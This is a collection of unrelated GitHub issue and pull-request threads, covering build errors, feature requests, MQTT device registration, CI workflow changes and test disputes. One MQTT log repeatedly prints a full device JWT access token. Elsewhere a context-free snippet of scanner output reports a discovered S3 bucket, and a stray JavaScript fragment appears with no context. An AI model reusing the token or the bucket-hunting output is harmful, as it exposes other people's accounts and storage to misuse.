The branches must follow the naming: merge-<ORIGIN_BRANCH>-into-<DESTINATION_BRANCH>. For example, merge-4.8.1-into-4.9.0.
Tasks
4.8.1

[ ] Update changelog.
[ ] Review wazuh-packages 4.8.1 Wazuh indexer changes
[ ] Migrate changes from wazuh-packages branch 4.8.1 into branch 4.9.0.

wazuh-indexer repository starts from 4.9.0. No action needed.

The wazuh-indexer repository was created for 4.9.0, but we have a Wazuh indexer in the wazuh-packages repository. We need to ensure we have the wazuh-indexer repository is updated with the latest changes (if they exist).

There are no changes from 4.8.1


Sample code working on Mac OS not working on Ubuntu 18-04

I had everything working on Mac OS and I moved over the folder to Ubuntu.  I get the following error when I try to runpython ./spert.py eval --config configs/example_eval.conf:

torch_shm_manager: error while loading shared libraries: libcudart.so.10.1: cannot open shared object file: No such file or directory
Process SpawnProcess-1:
Traceback (most recent call last):
File "/usr/lib/python3.6/multiprocessing/process.py", line 258, in _bootstrap
self.run()
File "/usr/lib/python3.6/multiprocessing/process.py", line 93, in run
self._target(*self._args, **self._kwargs)
File "/home/greg/spert/spert.py", line 23, in __eval
input_reader_cls=input_reader.JsonInputReader)
File "/home/greg/spert/spert/spert_trainer.py", line 165, in eval
self._eval(model, input_reader.get_dataset(dataset_label), input_reader)
File "/home/greg/spert/spert/spert_trainer.py", line 233, in _eval
for batch in tqdm(sampler, total=total, desc='Evaluate epoch %s' % epoch):
File "/home/greg/.local/lib/python3.6/site-packages/tqdm/std.py", line 1104, in iter
for obj in iterable:
File "/home/greg/spert/spert/sampling.py", line 155, in next
batch, _ = self._results.next()
File "/usr/lib/python3.6/multiprocessing/pool.py", line 735, in next
raise value
multiprocessing.pool.MaybeEncodingError: Error sending result: '(<spert.sampling.EvalTensorBatch object at 0x7f89949bfa20>, 0)'. Reason: 'RuntimeError('error executing torch_shm_manager at "/usr/local/lib/python3.6/dist-packages/torch/bin/torch_shm_manager" at /pytorch/torch/lib/libshm/core.cpp:99',)

Do you have the PyTorch version installed that matches with the CUDA version on the Ubuntu system? In case you don't have CUDA installed on your system or no compatible GPU is available, is is important that you install the CPU only version of PyTorch. See https://pytorch.org/ for further instructions (under 'Quick Start Locally'), e.g. by selecting 'CUDA=None'.

Yes that helped, thanks.  I uninstalled pytorch and installed a cpu version and was able to successfully run the same code.


feature request: remove ring, render as square

Hello. I am requesting 2 features since I like and use this a lot.
First is to have the option to draw as a square.
More importantly, I dont like the ring very much but theres no option to avoid it. Could we have a feature that, instead of a ring, the map just slowly terminates into transpency in the outer edges? i will rpovide  a example
thanks so much for making the best radar in gmod i use it in numerous gamemodes (that no one plays)
A good example is ffxiv 1.0s (an old and unplayable game)'s radar/map
https://i.imgur.com/Z77uRzG.png

I edited gradar.lua 	col_ring = ColorAlpha(GRadar.Settings["Color_Ring"],50)
Furthermore, if you used the physgundrawbeam hook, you could get the player entity, and the prop theyre p hysgunning. checking that p rops velocity, or model, you could draw a line to indicate potential propkillers.


fix admin service soft delete

Coverage decreased (-0.2%) to 45.497% when pulling 49832e6ccfa899e1fed69f2a302e0b7c17a1a49e on nobodyiam:adminservice-delete into 4f69747ef3131bc70ac5a385757d877facf1540f on ctripcorp:master.


Feature request: improve installer message

Description of feature/enhancement
i would like to see the installer message should include the command line for the command
Justification
my tries to run the command ....
/usr/local/Caskroom/little-snitch/3.7.4/Little Snitch Installer.app
Black Screen: command "/usr/local/Caskroom/little-snitch/3.7.4/Little" not found.

'/usr/local/Caskroom/little-snitch/3.7.4/Little Snitch Installer.app'
bash: /usr/local/Caskroom/little-snitch/3.7.4/Little Snitch Installer.app: is a directory

open /usr/local/Caskroom/little-snitch/3.7.4/Little Snitch Installer.app
The files /usr/local/Caskroom/little-snitch/3.7.4/Little, /Users/muescha/Work/github/WWDC/Snitch, and /Users/muescha/Work/github/WWDC/Installer.app do not exist.

open '/usr/local/Caskroom/little-snitch/3.7.4/Little Snitch Installer.app'

Example use case
To complete the installation of Cask little-snitch, you must also
run the installer at

  '/usr/local/Caskroom/little-snitch/3.7.4/Little Snitch Installer.app'

🍺  little-snitch was successfully installed!

to
To complete the installation of Cask little-snitch, you must also
run the installer at

  '/usr/local/Caskroom/little-snitch/3.7.4/Little Snitch Installer.app'

with command:

  open '/usr/local/Caskroom/little-snitch/3.7.4/Little Snitch Installer.app'

🍺  little-snitch was successfully installed!

I don’t think this is a problem, as you’re the only one I recall mentioning this. Also, open is not mandatory: the point is that you open the app manually, at your leisure.
https://github.com/caskroom/homebrew-cask/issues/24377 is a better solution than shoehorning a message. If more people had complained about this, I’d be more inclined to add it.


Remove leading space in

  <othercredit>
    <contrib><para> Many others have contributed to the development of CF
    through their participation in discussions about proposed changes.
    </para></contrib>
  </othercredit>

The leading space comes through into the markup and makes it render like a quotation (or similar).
(Alternatively, make d2a.xsl get rid of leading whitespace inside  elements.)

Fixed in 8c935c084bf5b1364e575211c3b60c679319ad31


Request for new feature of DP^m calculation

Hi Alex, here is the matrix A
$$\mathbf{A} (R,Z,\phi) =
\begin{bmatrix}
\partial_{R} \left ( \frac{RB_{R}}{B_\phi} \right ) & \partial_{Z} \left ( \frac{RB_{R}}{B_\phi} \right ) \
\partial_{R} \left ( \frac{RB_{Z}}{B_\phi} \right ) & \partial_{Z} \left ( \frac{RB_{Z}}{B_\phi} \right )
\end{bmatrix}
=\begin{bmatrix}
\frac{ \partial_{R}(RB_{R} )B_\phi - RB_{R}\partial_{R}B_{\phi} }{B_\phi^2} & \frac{ \partial_{Z}(RB_{R} )B_\phi - RB_{R}\partial_{Z}B_{\phi} }{B_\phi^2}  \
\frac{ \partial_{R}(RB_{Z} )B_\phi - RB_{Z}\partial_{R}B_{\phi} }{B_\phi^2} & \frac{ \partial_{Z}(RB_{Z} )B_\phi - RB_{Z}\partial_{Z}B_{\phi} }{B_\phi^2}
\end{bmatrix}$$
based on which $DP^m$ can be calculated from a matrix ODE:
\frac{\partial }{\partial \phi_e } D\boldsymbol{X}_{\text{pol}} (\phi_{s}, \phi_{e}) = \mathbf{A} ( \boldsymbol{X}_{\text{pol}}(\phi_{e}),\phi_{e})  D\boldsymbol{X}_{\text{pol}} (\phi_{s}, \phi_{e}),  \text{with init. cond.}  D\boldsymbol{X}_{\text{pol}} (\phi_{s}, \phi_{s}) = \begin{bmatrix} 1 & 0 \\ 0 & 1 \end{bmatrix} ,

where $\boldsymbol{X}_{\text{pol}} (\phi_{s}, \phi_{e})$ is the field line trace initiating from some fixed point $(x_{0R}, x_{0Z}, x_{0\phi}=\phi_s)$ to $\phi_e$-section.  $x_{0R}$ and $x_{0Z}$ are the variables to be differentiated by the $D$ operator of $D\boldsymbol{X}_{\text{pol}}$, but they are omitted in  $ D\boldsymbol{X}_{\text{pol}} (\phi_{s}, \phi_{e})$ for brevity.
When $\phi_{e} = \phi_{s}+2m\pi$, $ D\boldsymbol{X}_{\text{pol}} (\phi_{s}, \phi_{e})$ becomes $DP^m (\phi)$. No need to distinguish $\phi_{s}$ from $\phi_{e}$ anymore, so $\phi$ is enough.
A pretty convenient advantage of this method compared to direct finite difference of the Poincare points in the neighbourhood of the initiating point is that once we know the $DP^m$ of a cycle at a point on a $\phi$-section, we can easily know the $DP^m$ on the same cycle at other points on other $\phi$-sections by the following matrix ODE:
\frac{\mathrm{d} }{\mathrm{d} \phi } DP^m (\phi) = \left[ \mathbf{A} ( \boldsymbol{X}_{\text{pol}}(\phi) , \phi), DP^m (\phi) \right]

I am not sure whether the method of direct finite difference of Poincare points is sensitive to the seeding points density near the initiating point that we want to solve $DP^m$ for, but I am sure the matrix ODEs above are insensitive to the magnetic field grid quality. Here I attach a Julia notebook in which I do that for W7-X equilibrium file given by HINT. I didn't use any design patterns in this notebook. Everything including every function is exposed directly.
field_line_tracing_DPm_calculation_on_W7X.zip

Here is the $DP^m$ eigenvalue growth analysis (one year ago) for different traces started from points on a straight line. Although it is in Chinese, I guess you can understand all slides easily since they all discuss the growth rate of the $DP^m$ eigenvalues, just for different orbits. We need flexible data access to the calculated results so that further analysis on the behaviours of $DP^m$ near Cantorus or LCFS can be facilitated. Thanks for your cooperation!
20221103 Routine report Whether an orbit is on an invariant torus.pdf

I tried to go higher order derivatives to explore $D^k P^m$. I can deduce something and approximate the Poincare map by its multi-order expansion like $P^m(x_0 + \Delta \boldsymbol{x}) = DP^m \Delta \boldsymbol{x}+ D^2 P^m \Delta \boldsymbol{x}^2 + ...$, but the results are not that interesting. It cost a few tens of orders to have a good approximation around the magnetic axis (I require it approximates the true value at $m>50$, which might be demanding).


c8y_SupportedOperation is not published in new device

Describe the bug
The SmartREST 114 message is not sent from tedge-mapper-c8y in a new device after the #682.
pi@raspberrypi:~ $ mosquitto_sub -t "#" -v
c8y/s/us 100,rinarinarina,thin-edge.io
c8y/s/us 100,rinarinarina,thin-edge.io
c8y/s/e 41,100,Device already existing
c8y/s/uat (null)
c8y/s/dat 71,eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOm51bGwsImlzcyI6InRoaW4tZWRnZS1pby5ldS1sYXRlc3QuY3VtdWxvY2l0eS5jb20iLCJhdWQiOiJ0aGluLWVkZ2UtaW8uZXUtbGF0ZXN0LmN1bXVsb2NpdHkuY29tIiwic3ViIjoiZGV2aWNlX3JpbmFyaW5hcmluYSIsInRjaSI6ImRldmljZV90b2tlbl9jb25maWciLCJpYXQiOjE2MzkwNzY5MTQsIm5iZiI6MTYzOTA3NjkxNCwiZXhwIjoxNjM5MDgwNTE0LCJ0ZmEiOmZhbHNlLCJ0ZW4iOiJ0NDkzMzE5MTAyIiwieHNyZlRva2VuIjoiZlptY05waXhPSklCUWt0aVFIVlUifQ.Hd0doLgtfRPyOyeZlTzUoIXJ-YD-HpRq5y9JNn2-stUY6a67rrGDnxMV3W51STZHS1yODom9cbpYYr5defbBHjuqcupB9R-6ZV3ds7CJLpXRV3o4BB8NwNHx25QRpT-FkJKJ7VtLOqsTaPDJuVKxl5l5QMP-PuJ_qlFjsrWWxu44ybAhFh_MaQlxF0dhE5gryyptDSrbDVSBl1p87GgL690KXoQ8nzabrjfnv7iTFxx-zqaM2dUIMRo99SiQtTmtj4tZ0vKbL2_GLkHN14AJmhSRV8Fr2vRbIeN6Uf4r_nWoUXZgKYAxPbbg-CxbNeryXbFnSSQ8ZcXvVLB4tLaTDw
c8y/s/us 118,software-management

c8y/s/us 500

tedge/commands/req/software/list {"id":"hPEfx8FUq5ezYzgwvgL4Z"}
tedge/capabilities/software/list (null)
tedge/capabilities/software/update (null)
tedge/commands/res/software/list {"id":"hPEfx8FUq5ezYzgwvgL4Z","status":"executing"}

If a device already registered, 114 is published.
c8y/s/us 100,rinarinarina,thin-edge.io
c8y/s/e 41,100,Device already existing
c8y/s/us 114,c8y_LogfileRequest,c8y_SoftwareUpdate,c8y_Restart

c8y/s/uat (null)
c8y/s/dat 71,eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOm51bGwsImlzcyI6InRoaW4tZWRnZS1pby5ldS1sYXRlc3QuY3VtdWxvY2l0eS5jb20iLCJhdWQiOiJ0aGluLWVkZ2UtaW8uZXUtbGF0ZXN0LmN1bXVsb2NpdHkuY29tIiwic3ViIjoiZGV2aWNlX3JpbmFyaW5hcmluYSIsInRjaSI6ImRldmljZV90b2tlbl9jb25maWciLCJpYXQiOjE2MzkwNzY5MTQsIm5iZiI6MTYzOTA3NjkxNCwiZXhwIjoxNjM5MDgwNTE0LCJ0ZmEiOmZhbHNlLCJ0ZW4iOiJ0NDkzMzE5MTAyIiwieHNyZlRva2VuIjoiZlptY05waXhPSklCUWt0aVFIVlUifQ.Hd0doLgtfRPyOyeZlTzUoIXJ-YD-HpRq5y9JNn2-stUY6a67rrGDnxMV3W51STZHS1yODom9cbpYYr5defbBHjuqcupB9R-6ZV3ds7CJLpXRV3o4BB8NwNHx25QRpT-FkJKJ7VtLOqsTaPDJuVKxl5l5QMP-PuJ_qlFjsrWWxu44ybAhFh_MaQlxF0dhE5gryyptDSrbDVSBl1p87GgL690KXoQ8nzabrjfnv7iTFxx-zqaM2dUIMRo99SiQtTmtj4tZ0vKbL2_GLkHN14AJmhSRV8Fr2vRbIeN6Uf4r_nWoUXZgKYAxPbbg-CxbNeryXbFnSSQ8ZcXvVLB4tLaTDw
c8y/s/uat (null)
c8y/s/dat 71,eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOm51bGwsImlzcyI6InRoaW4tZWRnZS1pby5ldS1sYXRlc3QuY3VtdWxvY2l0eS5jb20iLCJhdWQiOiJ0aGluLWVkZ2UtaW8uZXUtbGF0ZXN0LmN1bXVsb2NpdHkuY29tIiwic3ViIjoiZGV2aWNlX3JpbmFyaW5hcmluYSIsInRjaSI6ImRldmljZV90b2tlbl9jb25maWciLCJpYXQiOjE2MzkwNzY5MTQsIm5iZiI6MTYzOTA3NjkxNCwiZXhwIjoxNjM5MDgwNTE0LCJ0ZmEiOmZhbHNlLCJ0ZW4iOiJ0NDkzMzE5MTAyIiwieHNyZlRva2VuIjoiZlptY05waXhPSklCUWt0aVFIVlUifQ.Hd0doLgtfRPyOyeZlTzUoIXJ-YD-HpRq5y9JNn2-stUY6a67rrGDnxMV3W51STZHS1yODom9cbpYYr5defbBHjuqcupB9R-6ZV3ds7CJLpXRV3o4BB8NwNHx25QRpT-FkJKJ7VtLOqsTaPDJuVKxl5l5QMP-PuJ_qlFjsrWWxu44ybAhFh_MaQlxF0dhE5gryyptDSrbDVSBl1p87GgL690KXoQ8nzabrjfnv7iTFxx-zqaM2dUIMRo99SiQtTmtj4tZ0vKbL2_GLkHN14AJmhSRV8Fr2vRbIeN6Uf4r_nWoUXZgKYAxPbbg-CxbNeryXbFnSSQ8ZcXvVLB4tLaTDw
tedge/capabilities/software/list (null)
tedge/capabilities/software/update (null)
c8y/s/us 118,software-management

To Reproduce
Prepare a device not registered in c8y.
Run tedge connect c8y and listen to all MQTT topics.
Expected behavior
A clear and concise description of what you expected to happen.
Screenshots

Environment (please complete the following information):

OS [incl. version]
Hardware [incl. revision]
System-Architecture [e.g. result of "uname -a"]
thin-edge.io version [The build from https://github.com/thin-edge/thin-edge.io/actions/runs/1558638390]

Additional context
Add any other context about the problem here.

I came across the same issue.

It seems to be a little bit puzzling why #682  would introduce this issue. The code change has affected only the order the services are brought up but nothing in how the services behave.
I'll have a look at it.

@rina23q I tried to reproduce this after changes to the MQTT client and it seemed to work ok, can you confirm if that's correct?

The root cause was while mosquitto was restarting after the device registration, 114 was sent and lost.
We stopped restarting mosquitto after device registration by the fix: https://github.com/thin-edge/thin-edge.io/issues/710


function getProximicData() {var proximicValues = {},i;if (Array.isArray(window.proximicData)) {for (i = 0; i < window.proximicData.length; i++) {proximicValues[window.proximicData[i]] = 'pconid';}}return proximicValues;};}(window, document, 'cnni_homepage'));</script>

</
[*] Moving to Next Site
[*] Scanning Website https://github.com
[*] S3 bucket found!
[*] Logging... github-cloud.s3.amazonaws.com
[*] Moving to Next Site

According to this comment it looks like you can use backticks instead of double quotes to surround the regex pattern and then you won't have to escape the slashes.


Replace deprecated command with environment file

What this PR does / why we need it:
Update workflows to use environment file instead of deprecated set-output command.
For more information, see: https://github.blog/changelog/2022-10-11-github-actions-deprecating-save-state-and-set-output-commands/
I found the workflow files that use set-output command through the following command:
$ find . -name '*.yml' -o -name '*.yaml' | xargs egrep '\bset-output\b'

AS-IS
echo "::set-output name=matrix::{\"include\": $content }"

TO-BE
echo "matrix={\"include\": $content }" >> $GITHUB_OUTPUT

Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #1870

While this does seem to put the content in the output, it seems to have some characters that break it see https://github.com/kairos-io/kairos/actions/runs/6420178340

Error when evaluating 'strategy' for job 'framework'. .github/workflows/image-pr.yaml (Line: 41, Col: 15): Error parsing fromJson,.github/workflows/image-pr.yaml (Line: 41, Col: 15): Unexpected character encountered while parsing value: %. Path 'include', line 1, position 13.,.github/workflows/image-pr.yaml (Line: 41, Col: 15): Unexpected value ''

Error when evaluating 'strategy' for job 'framework'. .github/workflows/image-pr.yaml (Line: 41, Col: 15): Error parsing fromJson,.github/workflows/image-pr.yaml (Line: 41, Col: 15): Unexpected character encountered while parsing value: %. Path 'include', line 1, position 13.,.github/workflows/image-pr.yaml (Line: 41, Col: 15): Unexpected value ''

@mauromorales Sorry for the late reply. I'll take a look at what might be causing this.

@jongwooo no worries and thanks! If it helps, I was testing it out with the following workflow https://github.com/kairos-io/kairos/pull/1889/files#diff-f8c07cbe8adb8afd573be281e6de56b7c0b2c1b88ee9624ab2f79ddacd1ca4b8L25-R41 and as a result you should see a bunch of flavors generate jobs

No progress here and some conflicts so I will close but feel free to re-open any time.


Reinstated Vagrant driver

Added Zuul-CI config
Code to install vagrant
Made prepare playbook embedded
Made box optional (defaults to Alpine for size)
Added min-requirement molecule>=3.0.2

Related: https://github.com/hashicorp/vagrant/issues/11070

recheck

Fix #9


Resume on requeue

Resume on requeue fails right now because we aren't saving checkpoint_last but instead, are saving cherkpoints per interval, like checkpoint_1_600.pt. Commenting this allows resuming even though checkpoint_last isnt saved.

It seems that the original check was there for a purpose -- to verify fine-tuning starts from the correct checkpoint.
Is there a way to implement resuming fine-tuning without removing this original check?

The original check is broken, it crashes on requeue. This version does resume from the correct checkpoint - I tested it by saving every 200 steps and requeued after 650 steps, and it continued from the correct checkpoint.
Is there a use case you know of where this fails?


Fixed UI components inside the ProfileScreen and added the feature to modify the profile picture by click

Worked mainly on profileScreen.kt.

Modified some of the UI components to follow the app's general theme.
Added a composable squeletton to add the WanderBadges
Added the feature to open a popup menu when clicking on the profile picture in order to change it.
Deleted the second setting button inside the TopAppBar

You need to run ktfmtFormat and repush the code for the CI

Thank you all for the reviews, I had troubles with my ktformatter config. I have now fixed it.


"apply Changes" has discarded all my changes.

Issue Type: Bug

There is the file named a.txt in the master branch.
I edited contents of a.txt and save in VS Code.
in GITLENS view, master -> 1 file changed -> a.txt -> mouse right click -> select "apply changes" to move changes into staged area.
But nothing happened except the changes were all gone.
file, right click on the master -> 1 file changed -> a.txt in the
Due to "apply changes" GITLENS, I lost all my work for two hours.


Registry server: sqlite "database is locked" errors are reported as Internal

While running some parallel wipeout tests with the sqlite backend, I get errors like this:
 FATAL[0021] Task failed: delete projects/hosted-ci-test/locations/global/apis/my-api/versions/v037 error=rpc error: code = Internal desc = database is locked

That's described in more detail here, and I think it would be appropriate to return a retriable error code in this case, such as Unavailable.

I think we should be checking here among other places in the same file.

Some potentially relevant documentation.
http://sqlite.com/matrix/rescode.html#busy

The SQLITE_BUSY result code differs from SQLITE_LOCKED in that SQLITE_BUSY indicates a conflict with a separate database connection, probably in a separate process, whereas SQLITE_LOCKED indicates a conflict within the same database connection (or sometimes a database connection with a shared cache).

With the wipeout command we make lots of concurrent requests to the server, but the server only uses one database client per request. That said, we would expect a conflict with a separate database connection (SQLITE_BUSY) instead of one within the same connection (SQLITE_LOCKED). https://github.com/mattn/go-sqlite3/issues/274 seems to be focused on the SQLITE_BUSY error too.
It's possible we're running into the following variant of this error.
http://sqlite.com/matrix/rescode.html#busy_snapshot

The following scenario illustrates how an SQLITE_BUSY_SNAPSHOT error might arise:

Process A starts a read transaction on the database and does one or more SELECT statement. Process A keeps the transaction open.
Process B updates the database, changing values previous read by process A.
Process A now tries to write to the database. But process A's view of the database content is now obsolete because process B has modified the database file after process A read from it. Hence process A gets an SQLITE_BUSY_SNAPSHOT error.

I'll see if I can reproduce the issue using a similar setup to what's described in that documentation, and if I can reproduce it, I'll see if handling that error fixes the issue.


Refusing install

Hey There.
Im on macOS and upon an attempt to install Spicetify it returns the following error
 open /Applications/Spotify.app/Contents/Resources/Apps/zlink/css/user.css: no such file or directory
However, Spotify 10.9 works on the installation.
My current issue is Spotify 10.9 is 2018 and is very old. Is there a solution?

sorry im dumb, wrong repo lol


Implement kill primary, check re-election shakedown test

Issue

We do not yet have a test application charm that continuously writes to the related mysql cluster
We do not yet update endpoints/read_only_endpoints when a pod restarts or when units leave and join the cluster
We have not yet implemented the kill primary, check re-election, the check consistency, or the no replication across clusters shakedown tests

DPE-435, DPE-436 and DPE-437
Solution

Add a test application charm that continuously writes to its related mysql cluster
Update endpoints/read_only_endpoints when a pod restarts or when units leave and join the cluster
Implement the integration tests

Release Notes
Implement kill primary, check re-election + check consistency + no replication across clusters shakedown tests

Thanks for the reviews!


Create the domain models

Create the following domain models:
*Note: all domain models should have a unique id. Uuid create should have a fast v4 method that does this. Using uuid's eliminates the need to use integers to number lists.

[x] ListItem - an item to be stored in a list. It should contain a description, a way to tell if the item is completed, optional start and end dates, and if it changes state from unchecked to checked, it should contain the timestamp for when it was marked complete.
[x] UserList - an item that contains the collection of current list items and the name of the list.

As more features are added to the application, more models will be added to future tasks.

basic domain models created in latest checkin. Will add more models as needed.


Feature Request: Import GIF pictures

Would find this helpful too~

Specifically Animated Gifs would be helpful.

when creating maps of contents for learning sessions, it is fundamental to be able play the gifs

@dwelle @ad1992 @lipis
Any chance this could be turned into a feature? :) Have you guys considered it?

If anyone needs a workaround for this right now. Copy and paste this HTML into a notepad doc, replace the url with your gif url , save the notepad as .html (remember to click save as all file types when you do this and write '.html' at the end of your file name), drag the html file into ur browser, copy the url in the browser and paste it into excalidraw as a web embed.  BOOM resizable gif.

So it should be relatively easy to just add all images gif as embed HTML. Thanks for the tip.

@appei i'm trying to reproduce your steps.
save the file locally with .html.
open it in browser (file:///C:/Users/user/Desktop/animated-gif-excalidraw.html)
and then add a web embed and set that to the link-url?

I very much like the scaling part.

very much like the scaling part, but not quite sure how that would work (because web embed whitelisting) and also because of local file resou

Yeah, unfortunately, this would only work locally unless you create and host a website using the html code I sent. Then use that URL to embed. For me, I use Excalidraw as a journal so hosting and sharing isn't as big a deal for me. But if it is for you I think you might have to do it how it's listed in the last update and just deal with black bars. Or go to the trouble of hosting websites with a single gif.


Fix app_store_build_number command

Adopts internal changes that leverage the updated TestFlight APIs for getting build information.

Checklist

[x] I've run bundle exec rspec from the root directory to see all new and existing tests pass
[x] I've followed the fastlane code style and run bundle exec rubocop -a to ensure the code style is valid
[x] I've read the Contribution Guidelines
[x] I've updated the documentation if necessary.

Motivation and Context
The latest_testflight_build_number command is presently not working because the app_store_build_number command is unable to fetch build information. I believe the underlying TestFlight API changes are the root cause of this failure.
After looking at some of the recent commits for TestFlight compatibility changes, and experimenting with the updated commands in irb, it was reasonably clear how to get both of these commands working again.
I have tested this in a Fastfile with a project's iTC account via
    app_store_build_number(
      live: false,
      version: "3.10"
    )

as well as
    latest_build_number = latest_testflight_build_number(
      version: get_version_number,
      initial_build_number: 1
    )

and
   app_store_build_number(
      live: false
    )

For this last situation it was also necessary to update all_build_train_numbers to avoid
testflight_version = app.all_build_train_numbers(platform: platform).sort_by { |v| Gem::Version.new(v) }.last

throwing the following exception
`platform' is a required parameter

Description

Leverage all_build_train_numbers and all_builds_for_train to determine the latest build number in TestFlight. Also adjusted all_build_train_numbers to leverage the expected platform named argument that build_trains now expects.
Thanks to @idyll for the help with the insight that build_trains  needed platform as a named argument for all_build_train_numbers to work correctly.

I signed it!


Constructing Knowledge Graphs from Log Extraction and Integrate with Cartography mappings

I would like to enrich my knowledge graph with logs from different services. As an example, user A created a bucket or any other event in my system and I have the logs about it.
Now that I have my cloud mapped, it is a live system that produces logs and events. I would like to add this information to my KG. Can it be integrated with cartography? New intel? What are the best practices for doing this?
Given such option, I will be able to apply graph data science models and gain useful insights. I would like to connect to all logs and merge them with my cartography-based Knowledge Graph, build nodes and relationships. My graph will become a live organism as a result of this.
@ramonpetgrave64

This is a great idea. One prerequisite for this is having consistent identifiers with which to correlate objects in both logs and Cartography data. As far as I can tell, Cartography does have unique identifiers for most things, but the property names in which you'll find them aren't consistent.
Just to give an example, in an AWSAccount you'd need to use id, whereas an AWSUser has a userid and arn but not an id.

What about joining forces and add this functionality?

It would be awesome. I've already been working on something similar and had to fork because Cartography was missing quite a few things (not just the IDs, but support for Neo4j 4.x among other things). I would prefer to have this in the base Cartography than to maintain it separately.
But, I'll have to see if my employer could set aside time for me to do this, first.
And, we'd need to find a way to add these IDs that is agreeable with the maintainers. For example, I don't suppose we can change existing property names as it would break backwards compatibility. We'd probably need to add a new field that mirrors IDs in some existing fields.

@danielsaporo can you share your work? I have found some work named SLOGERT.
Will be happy to arrange a Zoom meeting with you and have a look on your progress. I have some ideas.

Can you please tag the relevant maintainers? @danielsaporo

@achantavy

@danielsaporo @steve-solun - Filed https://github.com/lyft/cartography/issues/1024 to track consistent IDs. I've started to do this in #895. I really want to spend more cycles there but...

I'll have to see if my employer could set aside time for me to do this, first.

I'm needing to balance this too :).
Anyway, this is a legit problem and we will fix it.

For @steve-solun's idea on correlating this with log extraction though, I wonder if that correlation tool would be better suited for another tool: it might make most sense to have another tool pull from a neo4j database created with cartography and then correlate that against a log source and then put that in a secondary data store.

I see, what should be our action items @achantavy ?

@steve-solun - Following up on this a bit, you might want to check out https://github.com/grapl-security/grapl - https://www.youtube.com/watch?v=uErWRAJ4I4w. I haven't dug deep into the code but it seems like it accomplishes the scenario you are looking for (assuming it has a CloudTrail plugin).

Dear @achantavy thanks so much for the share, I will check it out.
It's a great pleasure to cooperate with you and your team :)

Converting this to a discussion. We can then decide on concrete deliverables and create those as issues.


Make Hyrax hiding again

Description
As discussed, I have reverted back to its original definition by removing the evaluation-commitment randomness from the proof and ignoring the claimed-value argument in check. Tests pass.

Before we can merge this PR, please make sure that all the following items have been
checked off. If any of the checklist items are not applicable, please leave them but
write a little note why.

[ ] Targeted PR against correct branch (master)
[ ] Linked to Github issue with discussion and accepted design OR have an explanation in the PR that describes this work.
[ ] Wrote unit tests
[ ] Updated relevant documentation in the code
[ ] Added a relevant changelog entry to the Pending section in CHANGELOG.md
[ ] Re-reviewed Files changed in the Github PR explorer

Shouldn't the input to check be changed to: _values: impl IntoIterator<Item = G::ScalarField>, since now the value is ignored?

Indeed, I've fixed it now. No warning was produced before because I was still zipping it - which was not needed. Thank you, good catch.


Update title to resolve SEO length issue

@mattwojo : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Please wait to merge until approval from @qm13

#sign-off

@ktoliver : Thanks for your contribution! The author(s) have been notified to review your proposed change.


TestWinRT will crash when used from CppWinRT

the testwinrt code has this test:
void Collection4Call(Collection4Handler const& handler)
{
    IMapView<hstring, hstring> a = single_threaded_map_view<hstring, hstring>(std::map<hstring, hstring>{ {L"apples", L"1"}, { L"oranges",L"2" }, { L"pears",L"3" } });
    IMapView<hstring, hstring> b;
    IMapView<hstring, hstring> c = handler(a, b);
    TEST_REQUIRE_N(L"Collection", 4, a != b && a != c);
    TEST_REQUIRE_N(L"Collection", 4, std::equal(begin(a), end(a), begin(b), end(b)));
    TEST_REQUIRE_N(L"Collection", 4, std::equal(begin(a), end(a), begin(c), end(c)));

    TEST_REQUIRE_N(L"Collection", 4, c.Lookup(L"apples") == L"1");
    TEST_REQUIRE_N(L"Collection", 4, c.HasKey(L"oranges"));
    IMapView<hstring, hstring> d;
    IMapView<hstring, hstring> e;
    c.Split(d, e);
    TEST_REQUIRE_N(L"Collection", 4, d.Size() && e.Size());
}

However, IMapSplitView<K,V>.Split() is broken in cppwinrt and just nulls out d and e, which will make the TEST_REQUIRE_N at the end fail.
We would need a way to disable this test for cppwinrt

Split is not broken in C++/WinRT. That method is not required to do anything and C++/WinRT has implemented it that way from the start. It is simply an ill-conceived method that should not have made it into the interface. If the test validates that it does something other than return null values then the test is wrong. If other language projections implement it then they should be fixed to return null values.

@Scottj1s @ujjwalchadha sounds like cswinrt might need to be fixed to no-op Split?

By the way, C++/CX and C++/WinRT implement Split the same way and .NET doesn't even expose this method.


Add OrganizationAppInstance in the model to be able to provision instance using API

@ouranos could you please review ?


Issue 13: Update NFRs and glossary for DG

NFRs and glossary definition can be found under here.
Please feel free to code review and comment on anything that should be added/ removed.

Codecov Report

Merging #24 (0e0ddda) into master (065f14f) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master      #24   +/-   ##
=========================================
  Coverage     72.15%   72.15%
  Complexity      399      399
=========================================
  Files            70       70
  Lines          1232     1232
  Branches        125      125
=========================================
  Hits            889      889
  Misses          311      311
  Partials         32       32

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 065f14f...0e0ddda. Read the comment docs.


Update pubspec.yaml

Upgraded intl: ^0.18.0 to intl: ^0.19.0

Any update on this PR as to when we're going to merge?

@bhandaribhumin
It's been 3 weeks and have not heard anything back.
Meanwhile, you can use:
flutter_calendar_carousel:
git:
url: https://github.com/casualcoder404/flutter_calendar_carousel.git
ref: main

Thank you very much for your detailed explanation and help, I appreciate it.


[i2c,dv] I2C transfer level TLM and capture

12 commits will be / have been removed from the beginning of this PR, and were moved to #23919. Some review comments left here may refer to those commits, in case things look disconnected!

This very large PR fixes some architectural deficiencies with the I2C DV environment, with the goal of allowing easier modelling and checking of transfers which exercise the reactive components of the I2C protocol (ie. NACKing).
All commits except the last one are generally cleanups and uninteresting, and go towards supporting the final commit which contains the bulk of changes which need to 'touch-the-world' across the testbench environment and agent. Some of these commits could possibly be spread out into a different PR, but this whole thing came together a bit organically, and I don't think it's worth significantly more of my time to rework the commit history any further into smaller atomic blocks.
The final commit is the interesting one, and due to the low-level testbench changes, I couldn't easily find a way to break it into atomic pieces, hence it is very large. I have added a detailed commit message which explains some of the rationale. I've copied it to the bottom of this PR.
While the functionality isn't identical, this change should leave the block-level DV at or near parity with the previous results. I've linked some data below to show this.
<INSERT REGRESSION COMPARISON HERE>

This large commit fixes a number of fundamental flaws and confusing design
